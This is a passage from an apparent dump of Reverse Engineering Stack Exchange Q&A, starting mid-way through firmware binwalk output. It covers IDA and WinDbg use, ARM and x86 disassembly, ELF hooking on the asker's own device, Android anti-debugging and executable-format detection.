\"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stdiofiles.inl\"\n5019189       0x4C9635        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stdiofiles.inl\"\n5020472       0x4C9B38        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx\n5020473       0x4C9B39        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx\"\n5020503       0x4C9B57        eCos RTOS string reference: \"eCospro/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx\"\n5020609       0x4C9BC1        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx\"\n5020639       0x4C9BDF        eCos RTOS string reference: \"eCospro/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx\"\n5021120       0x4C9DC0        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/attrib.c\n5021121       0x4C9DC1        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/attrib.c\"\n5021151       0x4C9DDF        eCos RTOS string reference: \"eCospro/packages/fs/ntfs/v2_0_60/src/attrib.c\"\n5021876       0x4CA0B4        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/ntfs_blib.c\n5021877       0x4CA0B5        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/ntfs_blib.c\"\n5021907       0x4CA0D3        eCos RTOS string reference: \"eCospro/packages/fs/ntfs/v2_0_60/src/ntfs_blib.c\"\n5033632       0x4CCEA0        Unix path: /home/mstar/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/audio/halAUDIO.c\n5033707       0x4CCEEB        eCos RTOS string reference: \"ecos/../../mxlib/hal/kriti/audio/halAUDIO.c\"\n5038144       0x4CE040        Unix path: /home/stb/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/dac/halDAC.c\n5038217       0x4CE089        eCos RTOS string reference: \"ecos/../../mxlib/hal/kriti/dac/halDAC.c\"\n5066028       0x4D4D2C        Unix path: /home/mstar/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/mvd/halMVD.c\n5066103       0x4D4D77        eCos RTOS string reference: \"ecos/../../mxlib/hal/kriti/mvd/halMVD.c\"\n5091476       0x4DB094        eCos RTOS string reference: \"eCos Newhost\"\n5108812       0x4DF44C        Unix path: /home/stb/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/ve/mhal_tvencoder.c\n5108885       0x4DF495        eCos RTOS string reference: \"ecos/../../mxlib/hal/kriti/ve/mhal_tvencoder.c\"\n5109464       0x4DF6D8        Unix path: /home/franke.wu/workspace/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/msos/ecos/MsOS_ecos.c\n5109544       0x4DF728        eCos RTOS string reference: \"ecos/../../mxlib/msos/ecos/MsOS_ecos.c\"\n5109566       0x4DF73E        eCos RTOS string reference: \"ecos/MsOS_ecos.c\"\n5109576       0x4DF748        eCos RTOS string reference: \"ecos.c\"\n5110012       0x4DF8FC        Unix path: /home/franke.wu/workspace/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/drv/miu/drvMIU.c\n5110092       0x4DF94C        eCos RTOS string reference: \"ecos/../../mxlib/drv/miu/drvMIU.c\"\n5110300       0x4DFA1C        eCos RTOS string reference: \"ecos/../../mxlib/drv/sys/drvDMD_VD_MBX.c\"\n5304106       0x50EF2A        Unix path: /../src/si_v2/apiSI.c\n5307730       0x50FD52        Unix path: /../src/dvb_subtitle/apiSubtitle_DC2_Decoder.c\n5308386       0x50FFE2        Unix path: /../src/dvb_subtitle/apiSubtitle_Decoder.c\n5403172       0x527224        CRC32 polynomial table, little endian\n5407268       0x528224        CRC32 polynomial table, big endian\n5428390       0x52D4A6        Unix path: /../src/mm/mapp_music.c\n5431970       0x52E2A2        Unix path: /../src/espvr/apiEsPVR.cpp\n5433930       0x52EA4A        Unix path: /../src/espvr/core/src/api/mapi_pvr_browser.cpp\n5434774       0x52ED96        Unix path: /../src/espvr/core/src/api/mapi_pvr.cpp\n5438298       0x52FB5A        Unix path: /../src/espvr/core/src/utility/PVR_File_Operand.cpp\n5438798       0x52FD4E        Unix path: /../src/espvr/core/src/context/PVR_File_Root.cpp\n5439894       0x530196        Unix path: /../src/espvr/core/src/context/PVR_Metadata.cpp\n5441758       0x5308DE        Unix path: /../src/espvr/core/src/path/PVR_Path_Download.cpp\n5443490       0x530FA2        Unix path: /../src/espvr/core/src/path/PVR_Path_DualDownload.cpp\n5445230       0x53166E        Unix path: /../src/espvr/core/src/path/PVR_Path_ESPlayer.cpp\n5445914       0x53191A        Unix path: /../src/espvr/core/src/path/PVR_Path_Manager.cpp\n5447010       0x531D62        Unix path: /../src/espvr/core/src/path/PVR_Path_TSPlayer.cpp\n5448770       0x532442        Unix path: /../src/espvr/core/src/context/PVR_Splitted_File.cpp\n5449582       0x53276E        Unix path: /../src/espvr/core/src/context/PVR_Sys.cpp\n5450354       0x532A72        Unix path: /../src/espvr/core/src/path/PVR_Thread.cpp\n5452094       0x53313E        Unix path: /../src/espvr/core/src/path/PVR_Upload_State_Scan.cpp\n5452634       0x53335A        Unix path: /../src/espvr/core/src/context/PVR_VideoParser.cpp\n5453802       0x5337EA        Unix path: /../src/espvr/core/src/data_manager/PVR_Data_RingBuffer.cpp\n5454258       0x5339B2        Unix path: /../src/espvr/core/src/context/PVR_File_IO_Read.cpp\n5456690       0x534332        Unix path: /../src/espvr/core/src/context/PVR_File_IO_Write.cpp\n5457670       0x534706        Unix path: /../src/espvr/core/src/path/PVR_Upload_State_188Normal.cpp\n5458488       0x534A38        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/infra/v2_0_60/src/pure.cxx\n5458489       0x534A39        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/infra/v2_0_60/src/pure.cxx\"\n5458519       0x534A57        eCos RTOS string reference: \"eCospro/packages/infra/v2_0_60/src/pure.cxx\"\n5458613       0x534AB5        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/services/memalloc/common/v2_0_60/src/kapi.cxx\"\n5458643       0x534AD3        eCos RTOS string reference: \"eCospro/packages/services/memalloc/common/v2_0_60/src/kapi.cxx\"\n5460693       0x5352D5        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/\"\n5460723       0x5352F3        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mfiximpl.inl\"\n5460741       0x535305        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mfiximpl.inl\"\n5461473       0x5355E1        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/\"\n5461503       0x5355FF        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mvarimpl.inl\"\n5461521       0x535611        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mvarimpl.inl\"\n5462269       0x5358FD        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/setvbuf.cxx\"\n5462299       0x53591B        eCos RTOS string reference: \"eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/setvbuf.cxx\"\n5522696       0x544508        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/i18n/v2_0_60/src/locale.cxx\n5522697       0x544509        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/i18n/v2_0_60/src/locale.cxx\"\n5522727       0x544527        eCos RTOS string reference: \"eCospro/packages/language/c/libc/i18n/v2_0_60/src/locale.cxx\"\n5523265       0x544741        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/stdio/v2_0_60/src/input/fgetc.cxx\"\n5523295       0x54475F        eCos RTOS string reference: \"eCospro/packages/language/c/libc/stdio/v2_0_60/src/input/fgetc.cxx\"\n5524333       0x544B6D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/time/v2_0_60/src/strftime.cxx\"\n5524363       0x544B8B        eCos RTOS string reference: \"eCospro/packages/language/c/libc/time/v2_0_60/src/strftime.cxx\"\n6055568       0x5C6690        LZMA compressed data, properties: 0x5A, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes\n7114983       0x6C90E7        Boot section Start 0x7040000 End 0x-FFF9\n7564060       0x736B1C        YAFFS filesystem\n
    \n\n

    I did tried unyaffs and unyaffs2 to extract but without any success, alsot tried to extract those .7z files but they does not containt nothing. Firmware

    \n", "Title": "Extract YAFFS filesystem from binary", "Tags": "|linux|firmware|", "Answer": "

    You cannot extract files with unyaffs tools, because the firmware does not contain yaffs. The first compressed image is the bootloader, which displays the splash screen image. It seems that the image start address was found by binwalk correctly.

    \n\n

    The second compressed image is an ecos image started at address 0x80000180. You can analyse it with IDA or your favorite disassemble, which support MIPS in little endian.

    \n" }, { "Id": "12876", "CreationDate": "2016-06-18T05:40:26.670", "Body": "

    I'm looking to buy an IDA Pro license for my own home use. However, I use all three supported platforms: Windows and Linux on desktop, and OS X on a laptop. I can't afford more than one license, so I'm interested to see if other people have been in a similar situation and how they solved it.

    \n\n

    My initial thoughts on each version:

    \n\n\n\n

    I'm leaning towards the Windows or Linux versions to be able to use anywhere, but I've never used IDA in a non-native environment, so I'm somewhat concerned about keyboard shortcuts and integration.

    \n\n

    Any suggestions on a good way to go?

    \n", "Title": "Using IDA cross platform: VM, Wine, other options?", "Tags": "|ida|", "Answer": "

    I've been using a Windows version of IDA Pro for years on OSX through VMware Fusion. Not daily, though - yet no problems whatsoever.

    \n\n

    Using a VM is even better because you can take snapshots of your VM before e.g. starting working with malware and revert them when you're done.

    \n\n

    Re screen estate - nothing to worry about, VMware VMs can run full screen, using every pixel available

    \n\n

    Remember that an OSX version of IDA Pro will likely have different (and more :)) bugs which remain unfixed for longer (at least this is my impression) than in a Windows version. Plus a bunch of plugins are Windows-only or at least barely tested on OSX, if compilable at all. Same situation, if not worse, with Linux in place of OSX.

    \n" }, { "Id": "12877", "CreationDate": "2016-06-18T05:41:00.827", "Body": "

    I got an x86 binary for linux and I use gdb to disassemble the main function. I see this:

    \n\n
       0x08048080 <+0>:     push   0x8049128\n   0x08048085 <+5>:     call   0x804810f\n   0x0804808a <+10>:    call   0x804809f\n   0x0804808f <+15>:    cmp    eax,0x10f\n   0x08048094 <+20>:    je     0x80480dc\n   0x0804809a <+26>:    call   0x8048103\n
    \n\n

    I could not understand it since the regular main that I disassemble normally looks like the one below with some preambles.

    \n\n
       0x0804841d <+0>:     push   %ebp\n   0x0804841e <+1>:     mov    %esp,%ebp\n   0x08048420 <+3>:     and    $0xfffffff0,%esp\n   0x08048423 <+6>:     sub    $0x10,%esp\n   0x08048426 <+9>:     movl   $0x80484d0,(%esp)\n   0x0804842d <+16>:    call   0x80482f0 <puts@plt>\n   0x08048432 <+21>:    leave  \n   0x08048433 <+22>:    ret    \n
    \n\n

    Questions:\nCan someone explain the first disassembly?

    \n", "Title": "Simple main program", "Tags": "|disassembly|x86|", "Answer": "

    This looks like a normal main function. Its just that your addresses have not been resolved properly in the first disassembly, while they have been in the second one. You can do

    \n\n

    info symbol 0x804810f

    \n\n

    in gdb and it would output something like

    \n\n

    puts in section .lib

    \n\n

    This way you can resolve all the functions being called. Alternatively you can use the nm utility.

    \n\n

    The second disassembly has prolog and epilog for stack management and function returns because it has been auto generated by the compiler. However in the first disassembly, it looks like the program author assembled the file with nasm and author used minimal code to do so.

    \n" }, { "Id": "12892", "CreationDate": "2016-06-19T22:55:06.843", "Body": "

    I have a powerpc computer that takes ELF files for its code. I have made a tool that allows me to extract and inject segments successfully, but I am missing a small piece of information regarding the modifications I would like to make. How can I call the original code, and how can I store the variables that need to be global?

    \n\n

    I can change where the exported functions point, which is all I need to enable the changes that I want. I am not completely sure how I should implement the stub for the functions in ASM to call some C code without messing with the stack or registers unless I explicitly want that to happen. My thought is to make a few small functions that branch out to a second stub that would handle all the state management to prepare for the C code. I was thinking I can use this \"dual stage stub\" in order to have the first part of the originalText+function*4 and do some easy math for that, and only need to change the exported functions whenever I add/remove a hooked function.

    \n\n

    Edit:\nI figured I should add some clarification to this. I mainly want to have the program connect to a remote device and log some stuff. So I require an active socket connection to be maintained using method calls. I am also using a proprietary OS that has a slightly modified ELF format, but the only extra is the zLib compression.

    \n\n

    Edit 2:\nOk, I understand the calling better. I was overcomplicating this some, just need the one branch. I also found an address to stick a malloc'd pointer for my data. Now all I need to figure out is how to get GCC to do a relitave jump when calling an address with a PIE. Since I am tacking my code on the end I know I am X away, but I do not know the real address because my exacutable can move in memory.

    \n", "Title": "Append Code To Text Segment With Global Variables?", "Tags": "|elf|powerpc|", "Answer": "

    Ok, after more research I came up with an answer to this problem.

    \n\n

    You only need the one branch handler, since I could branch into the C code just fine because they share the same calling method.

    \n\n

    I ran out of space in the text segment before memory was getting mapped over my code, so I had to do some more invasive things via a different method.

    \n\n

    Now to make GCC play nice with the relative function calls I told it my code was located at 0x00000000+sizeof(.text) so it would use relative branches to the elf and absolute to the system stuff that does not move.

    \n" }, { "Id": "12902", "CreationDate": "2016-06-21T10:38:28.033", "Body": "

    I'm trying to understand how Mach-O files work, i already succeed with parsing of load commands, sections, symbols table etc.. anyway i'm trying to figure out a way to find class methods pointer to the __text section in order to disassemble them, i noticed that sometimes in the symbol table the \"value\" field has the same offset of the function in the __text section, there's a generic rule to parse ObjC classes and methods and take pointers to these methods?

    \n\n

    Thanks much.

    \n", "Title": "Mach-O functions pointer", "Tags": "|arm|functions|ios|mach-o|", "Answer": "

    As you may realize, Objective-C methods don't appear in the symbol table (LC_SYMTAB). However, you're right that information about all Objective-C classes and their methods are embedded in the object since the Objective-C runtime has to parse it and register it.

    \n\n

    You can find a section called __DATA,__objc_classlist that contains a list of pointers to struct objc_class (defined here), which contains a pointer to a struct class_ro_t in its bits member, which contains a member baseMethodList, which contains a pointer to a struct method_list_t, which contains a number of struct method_t elements which each contain an imp member which is the pointer to the IMP function. Those would be all the instance methods of the class. You can also follow the isa field of the class to reach the metaclass of the class. The instance methods of the metaclass are the class methods of the class.

    \n\n

    One detail is that these pointers that are in the structures stored in the file on disk would not be the final pointers in memory. The dynamic linker dyld will go through the binary and link and rebase everything before the Objective-C runtime starts and parses the information I just described. For the data section, the linker typically will only do rebasing unless an external Objective-C class is used. It may be possible for you to get away with not doing the rebasing (in which case the pointers will just be the same as the case the binary has a slide of 0) if you're only interested in getting the pointers to Objective-C class method IMPs.

    \n" }, { "Id": "12915", "CreationDate": "2016-06-23T03:43:26.777", "Body": "

    My goal is to see what's going on \"under the hood\" in the Windows command prompt when a user pastes text into it. So I loaded cmd.exe into IDA Pro that is set up in conjunction with the WinDbg debugger.

    \n\n

    My initial guess was to put a breakpoint on OpenClipboard API which must be used to access clipboard, but it seems like cmd.exe doesn't even have a dependency on User32.dll (where OpenClipboard comes from):

    \n\n

    \"enter

    \n\n

    So am I reading it correctly?

    \n\n

    PS. I'm doing this on Windows 10.

    \n\n

    EDIT: You know, there's something other than deferred loading. I let the cmd.exe initialize and begin running, after which I suspended it. The loaded modules list still didn't have user32.dll:

    \n\n

    \"enter

    \n\n

    and my deferred breakpoint didn't trigger upon clipboard operation either:

    \n\n

    \"enter

    \n\n

    Could there be some other process that does all the \"command line\" logic?

    \n\n

    EDIT 2: Just tried to attach to a running conhost.exe:

    \n\n

    \"enter

    \n\n

    while IDA Pro was running as administrator and got this error:

    \n\n

    \"enter

    \n\n

    EDIT 3: Just tried to attach to conhost.exe via just WinDbg itself and got this error. I'm not sure how NTSTATUS 0xC00000BB applies here:

    \n\n

    \"enter

    \n", "Title": "How to break on a clipboard operation in cmd.exe with IDA / WinDbg?", "Tags": "|ida|windows|debugging|windbg|", "Answer": "

    well if you cant attach with windbg then you have some other problem
    \nuac / clamped down / policy / whatever // conhost.exe is attachable
    \n(check if you are attaching to the correct conhost.exe there may be several some of them spawned by system user

    \n\n

    screenshot showing windbg being attached to conhost and broke on OpenClipBoard with Hwnd (HANDLE of consoleWindowClass)

    \n\n

    \"enter

    \n\n

    on the paste operation

    \n\n
    0:001> kb2\n # ChildEBP RetAddr  Args to Child              \n00 020afc28 00adf554 020afd34 00000111 00000000 conhost!DoPaste+0x3d\n01 020afcb8 773ec4e7 00080260 00000111 0000fff1 conhost!ConsoleWindowProc+0x847\n0:001> ub eip l1\nconhost!DoPaste+0x37:\n00ae2d05 ff155411ad00    call    dword ptr [conhost!_imp__GetClipboardData (00ad1154)]\n0:001> ? @$retreg\nEvaluate expression: 10616892 = 00a2003c\n0:001> du poi(@$retreg)\n00172fa0  \"2580 windbg.exe        Pid 3424 \"\n00172fe0  \"- WinDbg:10.0.10586.567 X86\"\n0:001> g\n
    \n\n

    as to comment yes maybe i dont know
    \na cursory glance over google says conhost is now a child of cmd in windows 10
    \nthe conhost enhancements technical preview article by some ms devs don't mention anything about conhost being protected super proteccted or ultra protected process
    \nand i dont have a win10 handy so i can answer your comment only when i spleunk under winX till then happy hunting

    \n\n

    well it appears i can attach in winX too
    \n(winx is running in vmware player (test mode ) ) \nwindbg screen shotted is runnning inside target os

    \n\n

    \"enter

    \n" }, { "Id": "12927", "CreationDate": "2016-06-24T10:20:37.263", "Body": "

    I am trying to reverse a simple code that gets a string and calculates it's checksum. I've been trying to understand every instruction, but they look different from what is said in arm documentation. \nHere's the full code(Using no$gba debugger)\n\"Pink

    \n\n

    I've reached the code knowing that once the checksum has been calculated it is stored in the r0 register. Docs specify that EOR receives 2 args, while here is taking 4.\neor r3,r3,r0,asr 8h I've figured out that this will be something like r3 = (r3^r0)>>8 but I'm not really sure. In addition, C/C++ doesn't specify if the >> operator performs arithmetical or logical shifts (asr)

    \n\n

    Same confusion is created with the mov's instructions. The sub inst. would be reversed in something like r2--; or r2=r2-1;

    \n\n

    Thanks for your time.

    \n\n

    EDIT: The checksum is 2 bytes long, and I am giving some examples:

    \n\n

    String: AAAAAAB -- Checksum: 0xB649 (While debugging, write in little endian)

    \n\n

    String: AAAAAAA -- Checksum: 0x68BC \n(NOTE: Checksum can't be worked out by performing operations with different checksum samples)

    \n", "Title": "[ARM]How does this checksum code works and how to revert it in C?", "Tags": "|assembly|debuggers|arm|", "Answer": "

    A disassembler and decompiler like Ghidra can be used to obtain a C equivalent code.

    \n

    Also, as specified by @RadLexus, the ARM documentation can be found here: http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0068b/BABGIEBE.html

    \n" }, { "Id": "12944", "CreationDate": "2016-06-28T01:19:26.350", "Body": "

    I am trying to ptrace_attach the main process and its threads (/proc/<pid>/task) of an android unity app to avoid malicious users debugging the app(which is a game).

    \n\n

    I developed a ndk library that forks from main process and ptrace_attach the parent process(being the main process) inside the JNI_OnLoad() function. After that periodically checks the /proc/<pid>/task folder to attach newly created threads.

    \n\n

    The problem is, \nthis works well in normal apps but when I try to run this inside an app made with unity, the main process stops and screen becomes black or white not responding. But if you delay attaching a few seconds just enough to see the animation working on the screen, attaching works fine.

    \n\n

    Code is roughly something like this:

    \n\n
    if(!fork())\n{\n     parentPid = getppid();\n\n     // attach parent process\n     if(ptrace(PTRACE_ATTACH,parentPid,0,0)<0)\n          exit(-1);\n     ptrace(PTRACE_SETOPTIONS, parentPid, 0, PTRACE_O_TRACEEXEC| PTRACE_O_TRACEVFORKDONE|PTRACE_O_TRACESYSGOOD |PTRACE_O_TRACEFORK |PTRACE_O_TRACEVFORK |PTRACE_O_TRACECLONE );\n\n     while(true)\n     {\n          // get signal from processes\n          stoppedPid = waitpid(-1,&stat_loc, 0);\n\n          ...\n\n          // check if stoppedPid need to be attached\n          // if so, attach\n          ptrace(PTRACE_ATTACH,stoppedPid,0,0);\n\n          ...\n\n          // else, just continue the stopped process\n          ptrace(PTRACE_CONT,stoppedPid,0,0);\n     }\n }\n
    \n\n

    Maybe I should adjust the ptrace_setoptions ?

    \n\n

    Thanks in advance :)

    \n", "Title": "Has anyone tried ptrace_attaching android unity apps for anti debugging?", "Tags": "|android|anti-debugging|", "Answer": "

    Well somethings I found out -

    \n\n

    When I ptrace_attach the main process of the target app and wait for signals, \nI get SIGSEGV signal while app loads and just hangs there(because forked process cannot handle SIGSEGV). In the java code, it seems SIGSEGV occurs while calling View related functions.

    \n\n

    I guess UnityPlayer or Android app loader handles SIGSEGV smoothly while app loading time. Therefore, if you get a SIGSEGV, simply detaching it and attaching again does not hang the app.

    \n" }, { "Id": "12947", "CreationDate": "2016-06-28T11:55:25.367", "Body": "

    I've been reversing an asm checksum code for the last days, and I've managed to understand how it completly works, except for one instruction; ldrh

    \n\n

    The info I've been able to found says that it's basically a ldr instruction which loads a half word (2 bytes). But the problem is that the ldr() instruction has a lot of variants and there's no info about how this one would be wrote in pseudo C.

    \n\n

    Specifically my instruction is:
    \nldrh r3,[r12,r3]
    \nIf it were a normal ldr, the pseudo code will be
    \nr3 = r12[r3];
    \n(r12 is an addres to a memory place so I don't understand what it really does..Does it loads the value at r12+r3 into r3?

    \n", "Title": "Arm Assembly: LDRH instruction to C", "Tags": "|assembly|decompilation|c|arm|", "Answer": "

    As specified by @w s , the C representation of the assembly instruction ldrh r3,[r12,r3] would be:

    \n\n
    r3 = ((unsigned short*)r12)[r3]\n
    \n\n

    For more documentation, visit:

    \n\n

    http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489c/CIHDGFEG.html

    \n" }, { "Id": "12955", "CreationDate": "2016-06-29T14:38:25.353", "Body": "

    I can't figure out the meaning of ^ in the CPU window of the immunity debugger. What does it mean?

    \n\n

    \"enter

    \n", "Title": "What is the meaning of \"^\" in the CPU window of the Immunity debugger?", "Tags": "|disassembly|immunity-debugger|", "Answer": "

    Looks like it shows the direction of the jump (backwards in this case).

    \n" }, { "Id": "12968", "CreationDate": "2016-07-01T08:01:16.427", "Body": "

    This is probably a stupid question.

    \n\n

    Imagine our dissassembled function takes 1 parameter, for example \"unsigned short *\"

    \n\n

    However, in c++ this could be a BSTR, or something else...what is the best way to figure out the type of input that is expected?

    \n\n

    Right now I am just making educated guesses..but there must be a better way? (Or if someone can point me to good books/resources covering this)

    \n", "Title": "IDA - Best way to find out type of function parameters?", "Tags": "|ida|", "Answer": "

    To figure out the type of a function parameter, you could reverse engineer the caller to see where the input parameter is coming from and how it's instantiated (potentially needing to go up a few levels in the call stack), and/or you could reverse engineer the callee to see how it handles the parameter.

    \n" }, { "Id": "12976", "CreationDate": "2016-07-02T13:23:24.517", "Body": "

    What's purpose of functions ROL and ROR?\nFor both of them, first arg is int, and second is byte

    \n\n

    I suppose that's bitwise shifts

    \n\n

    \"two]1s]2

    \n", "Title": "Hex Rays - strange functions __ROL4__ and __ROR4__", "Tags": "|ida|decompilation|c|", "Answer": "

    Check out IDA directory\\plugins\\defs.h.

    \n\n\n\n
    ...\n// Macros to represent some assembly instructions\n// Feel free to modify them\n\n#define __ROL__(x, y) __rotl__(x, y)       // Rotate left\n#define __ROR__(x, y) __rotr__(x, y)       // Rotate right\n...\n
    \n\n

    The __rotl__ and __rotr__ are just for the rol and ror instructions

    \n" }, { "Id": "12982", "CreationDate": "2016-07-04T09:46:44.930", "Body": "

    I want to search the sequence of API call using IDA Pro. How to search the API call node execution and what is the next API call node execution followed using IDA Pro.

    \n", "Title": "How to search sequence of API call using IDA Pro?", "Tags": "|ida|disassembly|malware|static-analysis|", "Answer": "

    I would take a look at https://github.com/deresz/funcap. It might not have all the sequencing information you're looking for but I used it as a basis to do something similar a while ago.

    \n\n

    If you don't want to do it dynamically with IDA's debugger, you can similarly use an IDA Python script to parse the callgraph of a binary. I think Grey Hat Python has a section on IDA Python if you don't want to/can't find open source resources (though I believe there are other plugins that do something like this).

    \n" }, { "Id": "12993", "CreationDate": "2016-07-05T14:40:20.957", "Body": "

    I know that the specifications of the Microsoft PE/DLL/DOS-MZ files states that the two first bytes of a PE/DLL/DOS-MZ file is MZ (0x4d,0x5a) orZM(0x5a,0x4d`).

    \n\n

    The problem with such a small signature is that a lot of other files may match the same specification and a test based only on this two first bytes quickly tends to be inconclusive.

    \n\n

    So, my question is simple, after testing that the two first bytes are MZ (or ZM), what other, more reliable, test can be performed to check that the file is a PE/DLL/DOS-MZ?

    \n", "Title": "How to quickly distinguish PE/DLL/DOS-MZ files based on magic numbers?", "Tags": "|pe|dll|file-format|dos-exe|", "Answer": "

    An old DOS EXE header is only 28 (0x1C) bytes long and is usually followed by the DOS relocation table if present. The IMAGE_DOS_HEADER struct of the NT PE header is much larger at 64 (0x40) bytes as it has been extended for the various other Windows executable formats.

    \n\n

    Trying to interpret e_lfanew at offset 60 (0x3C) for a plain DOS executable as suggested by the recommended answer is incorrect as this pulls in whatever data happens to be at that offset, usually from the DOS relocation table but it can vary between valid DOS executables. Using a handful of old DOS executables, the value at this position might not be zero, thus any logic that tries to use this as a distinguishing marker may crash or work incorrectly.

    \n\n

    When trying to distinguish a plain DOS EXE, you can't reliably look at any members past e_ovno (overlay number) of the IMAGE_DOS_HEADER struct because they are Windows and OS/2 extensions to the DOS EXE header and do not exist in plain DOS executables.

    \n\n

    As far as distinguishing between a DOS executable and a PE executable, I have used the following logic with success:

    \n\n
      \n

    1. If the beginning of the file does not begin with \"MZ\" or \"ZM\", it is not an DOS or Windows executable image. Otherwise you may have one of the following types of executable formats: plain DOS, NE (Windows 16-bit), LE (16-bit VXD), PE32, or PE32+ (PE64).

      2. \n

    2. Determine if you have a plain DOS executable by looking at the e_lfanew value. A plain DOS executable will have an out-of-range e_lfanew pointing outside of the limits of the file, a zero, or if the offset happens to be in range, the signature at its offset won't match any signatures below.

      3. \n

    3. Try to match the signature of the \"in-range\" offset pointed to by e_lfanew with the following WORD or DWORD values:

      \n\n
      \"PE\" followed by two zero bytes if the image is a PE32 or PE32+ (PE64) and is further determined by the \"magic\" in the NT Optional Header\n\"NE\" indicates the image is a 16-bit Windows executable\n\"LE\" indicates the image is a 16-bit Virtual Device Driver (VXD)\n
      4. \n
    \n" }, { "Id": "13011", "CreationDate": "2016-07-08T07:31:45.167", "Body": "

    In the following code, I injected my own instructions to modify third param of sprintf() function, but the process stopped at EXC_BAD_INSTRUCTION. Can anybody tell me what happened in my code?

    \n\n
    0x144502 <+6>:  movw   r0, #0xc70       ; injected code start here\n0x144506 <+10>: movt   r0, #0x8bb3\n0x14450a <+14>: movw   r3, #0x576\n0x14450e <+18>: ldr    r1, [r7]\n0x144510 <+20>: movs   r5, #0x1a\n0x144512 <+22>: add    r5, pc           ; next instruction will jump over 9 instructions\n0x144514 <+24>: bx     r5               ; pc = 0x00144514\n                                        ; r5 = 0x00144530\n0x144516 <+26>: ldr    r1, [r0]\n0x144518 <+28>: ldr    r0, [r2]\n0x14451a <+30>: blx    0x29111c\n0x14451e <+34>: movw   r1, #0x6442\n0x144522 <+38>: movt   r1, #0x18\n0x144526 <+42>: add    r1, pc\n0x144528 <+44>: ldr    r1, [r1]\n0x14452a <+46>: blx    0x29111c\n0x14452e <+50>: mov    r3, r1\n0x144530 <+52>: movw   r1, #0x66a4      ; bx r5 landed here. But r1 has not been loaded\n0x144534 <+56>: movt   r1, #0x15        ; with new value. Why?\n0x144538 <+60>: mov    r2, r0\n0x14453a <+62>: add    r1, pc           ; this instruction never get called\n0x14453c <+64>: mov    r0, r4           ; EXC_BAD_INSTRUCTION raised here\n0x14453e <+66>: blx    __sprintf\n
    \n", "Title": "Injected instructions hit `bad instruction` exception", "Tags": "|assembly|arm|", "Answer": "

    Looks like you forgot to set bit 0 of the destination address so the CPU switched to ARM mode and tried to execute Thumb instructions as ARM.

    \n" }, { "Id": "13013", "CreationDate": "2016-07-08T13:26:13.007", "Body": "

    I have the STM32L151's firmware that I extracted via JTAG, but I cannot find a start point in IDA. I have tried two methods:

    \n\n

    1) I start IDA, drag the binary into the workspace, select ARM Little-endian for the processor type, click ok, the disassembly memory organization window appears, entered in relevant information found here on page 48, click ok, windows pops up saying \"IDA can not identify the entry point...\", in the workspace I see \"RAM:08000000 DCB [some hex number]\"

    \n\n

    2) Converted the binary to elf using my arm toolchain's objcopy, used \"readelf -h [my binary file]\" to find the entry point, got this output where the entry point is 0xff810000, dragged the elf into IDA's workspace, selected ARM Little-endian processor under processor type, clicked ok, and the workspace shows lines that look like \".data:0000002C [several hex values separated by commas]\"

    \n\n

